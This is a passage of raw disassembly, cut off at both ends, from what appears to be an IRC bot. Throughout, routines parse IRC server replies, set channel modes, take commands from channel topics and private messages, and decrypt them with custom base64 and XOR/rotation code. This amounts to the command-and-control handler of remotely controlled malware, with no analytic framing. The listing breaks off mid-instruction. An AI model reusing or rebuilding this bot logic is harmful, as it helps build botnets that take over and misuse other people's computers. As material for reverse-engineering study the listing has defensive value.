XREF: sub_409918+335j ; sub_409918+33Ej push 5Ah push 41h call sub_40B459 pop ecx pop ecx push eax push 5Ah push 41h call sub_40B459 pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_4] lea eax, [ebp+var_3C] push 5Dh push [ebp+arg_10] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_BC] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_4114DC ; sprintf add esp, 34h loc_409CAA: ; CODE XREF: sub_409918+2A1j lea eax, [ebp+var_BC] push eax push offset dword_414F0C jmp loc_409941 ; --------------------------------------------------------------------------- loc_409CBB: ; CODE XREF: sub_409918+250j push offset aError ; "ERROR" push dword ptr [esi] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409CDA push edi push edi push edi call sub_409522 jmp loc_409E4C ; --------------------------------------------------------------------------- loc_409CDA: ; CODE XREF: sub_409918+3B3j push offset aJoin ; "JOIN" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx mov edi, offset byte_41A1E8 test eax, eax pop ecx jnz short loc_409D19 push edi push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409D19 mov eax, [esi+8] test eax, eax jz short loc_409D19 cmp byte ptr [eax], 3Ah jnz short loc_409D0E inc eax loc_409D0E: ; CODE XREF: sub_409918+3F3j push eax push offset aModeSSmntu ; "MODE %s +smntu" jmp loc_409941 ; --------------------------------------------------------------------------- loc_409D19: ; CODE XREF: sub_409918+3D8j ; sub_409918+3E7j ... push offset a001 ; "001" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409DC1 push 21h lea eax, [ebp+var_3C] push dword ptr [esi+8] push eax call sub_4114D6 ; strncpy lea eax, [ebp+var_3C] push eax push edi call sub_4114B8 ; _mbscpy add esp, 14h lea eax, [ebp+var_3C] push eax push offset aModeSXi ; "MODE %s +xi" call sub_4097DB pop ecx pop ecx push offset dword_41A0E8 push offset dword_418E50 push offset dword_414AD8 call sub_4097DB add esp, 0Ch lea eax, [ebp+var_1BC] push eax call sub_4091A7 push eax call sub_40348C pop ecx test eax, eax pop ecx jz short loc_409D9B lea eax, [ebp+var_1BC] push eax call sub_40324A test eax, eax pop ecx jz short loc_409DA9 loc_409D9B: ; CODE XREF: sub_409918+470j lea eax, [ebp+var_3C] push eax push offset aUserhostS ; "USERHOST %s" jmp loc_409941 ; --------------------------------------------------------------------------- loc_409DA9: ; CODE XREF: sub_409918+481j lea eax, [ebp+var_1BC] push eax push offset dword_41A2E8 loc_409DB5: ; CODE XREF: sub_409918+571j call sub_4114B8 ; _mbscpy loc_409DBA: ; CODE XREF: sub_409918+2Ej ; sub_409918+1FCj ... pop ecx pop ecx jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409DC1: ; CODE XREF: sub_409918+412j push offset a451 ; "451" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409DDE push eax push 1 call sub_409277 jmp short loc_409DBA ; --------------------------------------------------------------------------- loc_409DDE: ; CODE XREF: sub_409918+4BAj push offset a302 ; "302" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409E54 mov esi, [esi+0Ch] test esi, esi jz loc_40A231 push offset a@ ; "@" push esi call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz loc_40A231 mov esi, 100h lea ebx, [eax+1] push esi mov edi, offset dword_41A2E8 push ebx push edi call sub_4059C2 lea eax, [ebp+var_1BC] push eax push ebx call sub_4035CE add esp, 14h test al, al jz loc_40A231 lea eax, [ebp+var_1BC] push esi push eax push edi call sub_4059C2 loc_409E4C: ; CODE XREF: sub_409918+238j ; sub_409918+3BDj add esp, 0Ch jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409E54: ; CODE XREF: sub_409918+4D7j push offset aNick ; "NICK" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409E8E cmp [esi+8], eax jz loc_40A231 push edi push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40A231 mov eax, [esi+8] inc eax push eax push edi jmp loc_409DB5 ; --------------------------------------------------------------------------- loc_409E8E: ; CODE XREF: sub_409918+54Dj push offset a332 ; "332" push dword ptr [esi+4] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz loc_409F76 mov edi, [ebp+arg_10] mov eax, [edi+10h] test eax, eax jz loc_40A231 mov dl, [eax+1] lea ecx, [eax+1] test dl, dl jz loc_40A231 cmp dl, 3Dh jnz short loc_409F0C add eax, 2 push ecx push eax call sub_40A44E push eax mov eax, [edi+10h] inc eax push eax call sub_40A82E mov ebx, eax mov eax, [edi+10h] inc eax push ebx push eax call sub_40A7AE mov eax, [edi+14h] add esp, 18h test eax, eax jz short loc_409F04 push eax mov eax, [edi+10h] lea eax, [eax+ebx+1] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_409F0C ; --------------------------------------------------------------------------- loc_409F04: ; CODE XREF: sub_409918+5D8j mov eax, [edi+10h] and byte ptr [eax+ebx+1], 0 loc_409F0C: ; CODE XREF: sub_409918+5ACj ; sub_409918+5EAj mov edi, [edi+10h] cmp byte ptr [edi+1], 0 lea eax, [edi+1] jz loc_40A231 lea ecx, [ebp+arg_4] mov edi, offset asc_415084 ; "][" push ecx push edi push eax call sub_405E4F add esp, 0Ch loc_409F2F: ; CODE XREF: sub_409918+65Cj test eax, eax jz loc_40A231 loc_409F37: ; CODE XREF: sub_409918+625j cmp byte ptr [eax], 20h jnz short loc_409F3F inc eax jmp short loc_409F37 ; --------------------------------------------------------------------------- loc_409F3F: ; CODE XREF: sub_409918+622j push eax lea eax, [ebp+var_2BC] push dword ptr [esi+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h push eax call sub_41152E ; _snprintf lea eax, [ebp+var_2BC] push eax call sub_40A236 lea eax, [ebp+arg_4] push eax push edi push 0 call sub_405E4F add esp, 24h jmp short loc_409F2F ; --------------------------------------------------------------------------- loc_409F76: ; CODE XREF: sub_409918+587j cmp [ebp+arg_0], 0 jz loc_40A231 cmp dword ptr [esi+8], 0 jz loc_40A231 cmp dword ptr [esi+0Ch], 0 lea ebx, [esi+0Ch] jz loc_40A231 push offset byte_41A1E8 push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 mov eax, [ebp+arg_10] inc dword ptr [ebx] add eax, 0Ch push offset aPrivmsg ; "PRIVMSG" mov [ebp+var_14], eax inc dword ptr [eax] push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx pop ecx push 3 test eax, eax pop edi jnz short loc_409FE7 mov eax, [ebx] cmp byte ptr [eax], 1 jz short loc_40A005 mov eax, [esi+8] and [ebp+var_4], 0 mov [ebp+arg_0], eax jmp loc_40A093 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409918+6B7j push offset aNotice ; "NOTICE" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40A231 mov eax, [ebx] cmp byte ptr [eax], 1 jnz short loc_40A04A loc_40A005: ; CODE XREF: sub_409918+6BEj mov ecx, [ebp+arg_4] inc eax mov [ebx], eax mov eax, [ebp+var_14] mov [ebp+var_4], edi xor edi, edi inc dword ptr [eax] cmp [esi], edi mov [ebp+arg_0], ecx jz short loc_40A073 mov [ebp+arg_C], esi loc_40A01F: ; CODE XREF: sub_409918+72Ej cmp edi, 0Fh jz short loc_40A073 mov eax, [ebp+arg_C] push dword ptr [eax] call sub_4114BE ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx] cmp byte ptr [ecx+eax-1], 1 jz short loc_40A059 add [ebp+arg_C], 4 inc edi mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jnz short loc_40A01F jmp short loc_40A073 ; --------------------------------------------------------------------------- loc_40A04A: ; CODE XREF: sub_409918+6EBj mov eax, [esi+8] mov [ebp+var_4], 1 mov [ebp+arg_0], eax jmp short loc_40A093 ; --------------------------------------------------------------------------- loc_40A059: ; CODE XREF: sub_409918+721j mov ecx, edi shl ecx, 2 mov edx, [ecx+esi] and byte ptr [edx+eax-1], 0 mov edx, [ebp+arg_10] mov ecx, [ecx+edx] and byte ptr [ecx+eax-1], 0 jmp short loc_40A093 ; --------------------------------------------------------------------------- loc_40A073: ; CODE XREF: sub_409918+702j ; sub_409918+70Aj ... mov eax, [ebp+arg_10] shl edi, 2 push dword ptr [edi+eax] call sub_4114BE ; strlen pop ecx mov ecx, [edi+esi] cmp byte ptr [ecx+eax-1], 1 lea eax, [ecx+eax-1] jnz short loc_40A093 mov byte ptr [eax], 1 loc_40A093: ; CODE XREF: sub_409918+6CAj ; sub_409918+73Fj ... push offset byte_41A1E8 push [ebp+arg_0] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A0AC mov eax, [ebp+arg_4] mov [ebp+arg_0], eax loc_40A0AC: ; CODE XREF: sub_409918+78Cj push 7Ah lea eax, [ebp+var_338] push 0 push eax call sub_4114E8 ; memset mov eax, [ebp+arg_10] and [ebp+arg_C], 0 mov edi, [eax] push edi mov [ebp+var_18], edi call sub_4114BE ; strlen add esp, 10h cmp eax, 3 mov [ebp+var_10], eax jb loc_40A182 loc_40A0DD: ; CODE XREF: sub_409918+7FFj mov cl, [eax+edi-1] cmp cl, 20h jnz short loc_40A0E9 dec eax jmp short loc_40A111 ; --------------------------------------------------------------------------- loc_40A0E9: ; CODE XREF: sub_409918+7CCj cmp byte ptr [eax+edi-3], 20h jnz short loc_40A119 cmp byte ptr [eax+edi-2], 2Dh jnz short loc_40A119 cmp cl, 7Ah jg short loc_40A119 movsx ecx, cl mov [ebp+arg_C], 1 sub eax, 3 mov [ebp+ecx+var_338], 1 loc_40A111: ; CODE XREF: sub_409918+7CFj cmp eax, 3 mov [ebp+var_10], eax jnb short loc_40A0DD loc_40A119: ; CODE XREF: sub_409918+7D6j ; sub_409918+7DDj ... cmp [ebp+arg_C], 0 jz short loc_40A182 mov edi, [ebp+arg_10] and [ebp+var_C], 0 mov [ebp+var_8], esi sub [ebp+var_8], edi loc_40A12C: ; CODE XREF: sub_409918+868j mov eax, [edi] test eax, eax jz short loc_40A182 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] add ecx, edx cmp eax, ecx jb short loc_40A176 xor ecx, ecx cmp [ebp+arg_C], ecx jz short loc_40A163 cmp [ebp+var_C], ecx jz short loc_40A160 mov eax, [ebp+var_8] push dword ptr [eax+edi-4] call sub_4114BE ; strlen pop ecx mov ecx, [edi-4] and byte ptr [eax+ecx], 0 xor ecx, ecx loc_40A160: ; CODE XREF: sub_409918+830j mov [ebp+arg_C], ecx loc_40A163: ; CODE XREF: sub_409918+82Bj mov eax, [edi] and byte ptr [eax], 0 mov eax, [ebp+var_8] add eax, edi mov edx, [eax] and byte ptr [edx], 0 mov [edi], ecx mov [eax], ecx loc_40A176: ; CODE XREF: sub_409918+824j inc [ebp+var_C] add edi, 4 cmp [ebp+var_C], 10h jb short loc_40A12C loc_40A182: ; CODE XREF: sub_409918+7BFj ; sub_409918+805j ... mov edi, offset byte_41A1E8 push edi push dword ptr [esi+8] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A19C push [ebp+var_14] push ebx jmp short loc_40A216 ; --------------------------------------------------------------------------- loc_40A19C: ; CODE XREF: sub_409918+87Cj add esi, 10h cmp dword ptr [esi], 0 jz loc_40A231 push offset asc_415078 ; "*" push dword ptr [ebx] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40A20E push dword ptr [ebx] push edi call sub_40790B pop ecx test al, al pop ecx jnz short loc_40A20E push dword ptr [ebx] call sub_4114BE ; strlen cmp eax, 4 pop ecx ja short loc_40A231 mov edi, [ebx] push edi call sub_4114BE ; strlen cmp byte ptr [eax+edi-1], 25h pop ecx jnz short loc_40A231 push edi call sub_4114BE ; strlen mov ecx, [ebx] and byte ptr [eax+ecx-1], 0 call sub_40B480 push 64h xor edx, edx pop ecx div ecx push dword ptr [ebx] mov edi, edx inc edi call sub_41151C ; atoi pop ecx cmp eax, edi pop ecx jl short loc_40A231 loc_40A20E: ; CODE XREF: sub_409918+8A0j ; sub_409918+8AEj mov eax, [ebp+arg_10] add eax, 10h push eax push esi loc_40A216: ; CODE XREF: sub_409918+882j lea eax, [ebp+var_338] push eax push [ebp+var_4] push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_4] call sub_407A76 add esp, 1Ch loc_40A231: ; CODE XREF: sub_409918+44j ; sub_409918+5Bj ... pop edi pop esi pop ebx leave retn sub_409918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A236 proc near ; CODE XREF: sub_408D81+70p ; sub_409918+648p ... var_1184 = byte ptr -1184h var_184 = byte ptr -184h var_105 = byte ptr -105h var_104 = byte ptr -104h var_85 = byte ptr -85h var_84 = byte ptr -84h var_78 = dword ptr -78h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1184h call sub_411540 push ebx lea eax, [ebp+var_84] push 10h push eax lea eax, [ebp+var_44] xor ebx, ebx push eax lea eax, [ebp+var_1184] push eax mov [ebp+var_4], ebx push [ebp+arg_0] call sub_4058EE push offset a302 ; "302" push [ebp+var_40] call sub_411924 ; _strcmpi add esp, 1Ch neg eax sbb eax, eax inc eax cmp [ebp+var_44], ebx mov dword_419D4C, eax jz loc_40A404 cmp [ebp+var_40], ebx jz loc_40A404 push esi push edi push offset aPrivmsg ; "PRIVMSG" push [ebp+var_40] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40A2B9 push offset aNotice ; "NOTICE" push [ebp+var_40] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A32B loc_40A2B9: ; CODE XREF: sub_40A236+6Ej mov eax, [ebp+var_38] cmp eax, ebx jz short loc_40A32B cmp [ebp+var_34], ebx jnz short loc_40A32B cmp byte ptr [eax], 3Ah jnz short loc_40A32B cmp byte ptr [eax+1], 3Dh jnz short loc_40A32B add eax, 2 cmp byte ptr [eax], 0 jz short loc_40A32B push eax call sub_40A5D0 test eax, eax pop ecx jz short loc_40A32B mov eax, [ebp+var_38] lea ecx, [eax+1] add eax, 2 push ecx push eax call sub_40A44E push eax mov eax, [ebp+var_38] inc eax push eax call sub_40A82E mov esi, eax mov eax, [ebp+var_38] inc eax push esi push eax call sub_40A7AE mov eax, [ebp+var_38] push 0Dh and byte ptr [esi+eax+1], 0 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_38] push eax push [ebp+var_78] push [ebp+var_38] call sub_4058EE add esp, 2Ch loc_40A32B: ; CODE XREF: sub_40A236+81j ; sub_40A236+88j ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_44] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_40A389 cmp off_418E18, ebx jz short loc_40A390 mov esi, offset off_418E18 mov edi, esi loc_40A34D: ; CODE XREF: sub_40A236+142j push dword ptr [edi] call sub_40B5E1 mov eax, [ebp+var_44] push dword ptr [edi] inc eax push eax call sub_4078A3 add esp, 0Ch test al, al jnz short loc_40A37C push dword ptr [esi] call sub_40B5A8 add esi, 4 inc ebx pop ecx mov edi, esi cmp dword ptr [esi], 0 jnz short loc_40A34D jmp short loc_40A390 ; --------------------------------------------------------------------------- loc_40A37C: ; CODE XREF: sub_40A236+12Fj push off_418E18[ebx*4] call sub_40B5A8 pop ecx loc_40A389: ; CODE XREF: sub_40A236+106j mov [ebp+var_4], 1 loc_40A390: ; CODE XREF: sub_40A236+10Ej ; sub_40A236+144j push 1 lea esi, [ebp+var_184] xor edi, edi pop eax dec esi loc_40A39C: ; CODE XREF: sub_40A236+198j mov ecx, [ebp+var_44] add ecx, eax cmp byte ptr [ecx], 21h jnz short loc_40A3B1 and [ebp+eax+var_105], 0 push 1 pop edi loc_40A3B1: ; CODE XREF: sub_40A236+16Ej test edi, edi jnz short loc_40A3BE mov dl, [ecx] mov [ebp+eax+var_105], dl loc_40A3BE: ; CODE XREF: sub_40A236+17Dj mov dl, [ecx] mov [esi+eax], dl cmp byte ptr [ecx], 0 jz short loc_40A3D0 inc eax cmp eax, 80h jl short loc_40A39C loc_40A3D0: ; CODE XREF: sub_40A236+190j lea eax, [ebp+var_84] and [ebp+var_85], 0 push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_184] and [ebp+var_105], 0 push eax lea eax, [ebp+var_104] push eax push [ebp+var_4] call sub_409918 add esp, 14h pop edi pop esi loc_40A404: ; CODE XREF: sub_40A236+4Cj ; sub_40A236+55j pop ebx leave retn sub_40A236 endp ; =============== S U B R O U T I N E ======================================= sub_40A407 proc near ; CODE XREF: sub_4111E8+249p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] cmp byte ptr [edi], 0 jz short loc_40A42A push esi loc_40A412: ; CODE XREF: sub_40A407+20j push edi call sub_405A76 push edi mov esi, eax call sub_40A236 cmp byte ptr [esi], 0 pop ecx pop ecx mov edi, esi jnz short loc_40A412 pop esi loc_40A42A: ; CODE XREF: sub_40A407+8j pop edi retn sub_40A407 endp ; =============== S U B R O U T I N E ======================================= sub_40A42C proc near ; CODE XREF: sub_4111E8+D1p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_419D50 rep stosd pop edi loc_40A43A: ; CODE XREF: sub_40A42C+1Fj movzx ecx, byte_415194[eax] mov byte_419D50[ecx], al inc eax cmp eax, 40h jb short loc_40A43A retn sub_40A42C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A44E proc near ; CODE XREF: sub_407A76+24Ap ; sub_407A76+8A8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push esi call sub_4114BE ; strlen cmp eax, 2 pop ecx mov [ebp+arg_0], eax jnb short loc_40A46B xor eax, eax jmp loc_40A517 ; --------------------------------------------------------------------------- loc_40A46B: ; CODE XREF: sub_40A44E+14j push ebx push edi push 1 xor edx, edx xor ecx, ecx pop edi loc_40A474: ; CODE XREF: sub_40A44E+BFj inc edx cmp edi, [ebp+arg_0] jnb loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 2 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] shr bl, 4 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 4 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] shr bl, 2 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 6 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] or [eax], bl inc ecx inc edi jmp loc_40A474 ; --------------------------------------------------------------------------- loc_40A512: ; CODE XREF: sub_40A44E+2Aj ; sub_40A44E+4Bj ... pop edi lea eax, [edx-1] pop ebx loc_40A517: ; CODE XREF: sub_40A44E+18j pop esi pop ebp retn sub_40A44E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A51A proc near ; CODE XREF: sub_407A76+1CFp ; sub_407A76+80Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov edx, [ebp+arg_4] push 1 movzx eax, byte ptr [edi] shr eax, 2 pop esi mov al, byte_415194[eax] mov [edx], al mov cl, [edi] and cl, 3 mov eax, esi shl cl, 4 cmp [ebp+arg_8], esi jz short loc_40A5B7 loc_40A546: ; CODE XREF: sub_40A51A+9Bj movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 4 or ebx, ecx mov cl, byte_415194[ebx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 0Fh inc eax shl cl, 2 inc esi cmp esi, [ebp+arg_8] jz short loc_40A5B7 movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 6 or ebx, ecx mov cl, byte_415194[ebx] mov [eax+edx], cl mov cl, [esi+edi] and ecx, 3Fh inc eax mov cl, byte_415194[ecx] mov [eax+edx], cl inc eax inc esi cmp esi, [ebp+arg_8] jz short loc_40A5C7 movzx ecx, byte ptr [esi+edi] shr ecx, 2 mov cl, byte_415194[ecx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 3 inc eax shl cl, 4 inc esi cmp esi, [ebp+arg_8] jnz short loc_40A546 loc_40A5B7: ; CODE XREF: sub_40A51A+2Aj ; sub_40A51A+4Fj movzx ecx, cl or ecx, 1 mov cl, byte_415194[ecx] mov [eax+edx], cl inc eax loc_40A5C7: ; CODE XREF: sub_40A51A+7Bj and byte ptr [eax+edx], 0 pop edi pop esi pop ebx pop ebp retn sub_40A51A endp ; =============== S U B R O U T I N E ======================================= sub_40A5D0 proc near ; CODE XREF: sub_407A76+20Fp ; sub_40A236+A3p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_4114BE ; strlen pop ecx xor ecx, ecx test eax, eax jle short loc_40A5FC loc_40A5E3: ; CODE XREF: sub_40A5D0+2Aj mov dl, [ecx+esi] movsx edi, dl cmp byte_419D50[edi], 0 jnz short loc_40A5F7 cmp dl, 41h jnz short loc_40A602 loc_40A5F7: ; CODE XREF: sub_40A5D0+20j inc ecx cmp ecx, eax jl short loc_40A5E3 loc_40A5FC: ; CODE XREF: sub_40A5D0+11j push 1 pop eax loc_40A5FF: ; CODE XREF: sub_40A5D0+34j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40A602: ; CODE XREF: sub_40A5D0+25j xor eax, eax jmp short loc_40A5FF sub_40A5D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A606 proc near ; CODE XREF: sub_4111E8+E6p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h lea eax, [ebp+var_58] push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset byte_419E54 call sub_40A96B add esp, 18h lea eax, byte_419E54 push 10h pop edx loc_40A63E: ; CODE XREF: sub_40A606+40j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40A63E leave retn sub_40A606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A64A proc near ; CODE XREF: sub_407A76+15p ; sub_40D6E0+F9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40A655: ; CODE XREF: sub_40A64A+2Dj mov cl, [esi] test ecx, ecx jz short loc_40A679 cmp ecx, 61h jb short loc_40A663 sub ecx, 20h loc_40A663: ; CODE XREF: sub_40A64A+14j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_419E54[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40A655 ; --------------------------------------------------------------------------- loc_40A679: ; CODE XREF: sub_40A64A+Fj pop esi pop ebp retn sub_40A64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A67C proc near ; CODE XREF: sub_4111E8+EEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset dword_419E68 call sub_40A96B add esp, 18h lea esi, dword_419E68 mov edi, esi push 10h pop ecx loc_40A6B8: ; CODE XREF: sub_40A67C+44j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40A6B8 pop edi pop esi leave retn sub_40A67C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6C6 proc near ; CODE XREF: sub_40A798+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi xor esi, esi test eax, eax mov [ebp+var_8], esi jle short loc_40A72A push ebx push edi push 10h mov edi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_40A6EA: ; CODE XREF: sub_40A6C6+60j mov eax, [ebp+arg_0] push 10h lea ecx, [esi+eax] mov eax, esi cdq pop esi add byte ptr [ecx], 0CDh idiv esi movzx eax, byte ptr [edx+edi] push 10h pop ebx lea esi, [edx+edi] cdq idiv ebx mov al, [ecx] sub al, [edx+edi] mov [ecx], al mov dl, [esi] mov esi, [ebp+var_8] not dl xor dl, al xor dl, [ebp+var_1] inc dl inc esi cmp esi, [ebp+arg_4] mov [ecx], dl mov [ebp+var_8], esi jl short loc_40A6EA pop edi pop ebx loc_40A72A: ; CODE XREF: sub_40A6C6+10j pop esi leave retn sub_40A6C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A72D proc near ; CODE XREF: sub_40A7AE+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push edi xor edi, edi test eax, eax mov [ebp+var_8], edi jle short loc_40A795 push ebx push esi push 10h mov esi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_40A751: ; CODE XREF: sub_40A72D+64j mov eax, [ebp+arg_0] push 10h lea ecx, [edi+eax] mov eax, edi cdq pop edi mov bl, [ecx] idiv edi dec bl xor bl, [ebp+var_1] mov [ecx], bl mov al, [edx+esi] not al xor al, bl mov byte ptr [ebp+arg_8+3], al mov [ecx], al movzx eax, byte ptr [edx+esi] add edx, esi cdq idiv edi mov edi, [ebp+var_8] mov al, [edx+esi] add al, byte ptr [ebp+arg_8+3] add al, 33h inc edi cmp edi, [ebp+arg_4] mov [ecx], al mov [ebp+var_8], edi jl short loc_40A751 pop esi pop ebx loc_40A795: ; CODE XREF: sub_40A72D+10j pop edi leave retn sub_40A72D endp ; =============== S U B R O U T I N E ======================================= sub_40A798 proc near ; CODE XREF: sub_407A76+1AEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_419E68 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40A6C6 add esp, 0Ch retn sub_40A798 endp ; =============== S U B R O U T I N E ======================================= sub_40A7AE proc near ; CODE XREF: sub_407A76+266p ; sub_409918+5CBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_419E68 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40A72D add esp, 0Ch retn sub_40A7AE endp ; =============== S U B R O U T I N E ======================================= sub_40A7C4 proc near ; CODE XREF: sub_407A76+1BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx mov ebx, [esp+4+arg_4] push esi push edi lea esi, [eax+4] push ebx push eax push esi call sub_4114D0 ; memcpy add esp, 0Ch call sub_40B480 xor edi, edi test ebx, ebx jle short loc_40A803 loc_40A7E8: ; CODE XREF: sub_40A7C4+3Dj mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_411796 ; _lrotl add eax, edi inc edi pop ecx cmp edi, ebx pop ecx jl short loc_40A7E8 loc_40A803: ; CODE XREF: sub_40A7C4+22j lea edi, [ebx-1] loc_40A806: ; CODE XREF: sub_40A7C4+5Ej cmp edi, 0FFFFFFFFh jz short loc_40A824 mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_411796 ; _lrotl pop ecx add eax, edi pop ecx dec edi jmp short loc_40A806 ; --------------------------------------------------------------------------- loc_40A824: ; CODE XREF: sub_40A7C4+45j mov [esi-4], eax pop edi lea eax, [ebx+4] pop esi pop ebx retn sub_40A7C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A82E proc near ; CODE XREF: sub_407A76+257p ; sub_409918+5BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi mov esi, [ebp+arg_0] add eax, 0FFFFFFFCh push edi mov ebx, [esi] push eax lea eax, [esi+4] push eax push esi call sub_4117A2 ; memmove sub [ebp+arg_4], 4 xor edi, edi add esp, 0Ch cmp [ebp+arg_4], edi jle short loc_40A876 loc_40A858: ; CODE XREF: sub_40A82E+46j sub ebx, edi push 1 push ebx call sub_41179C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop 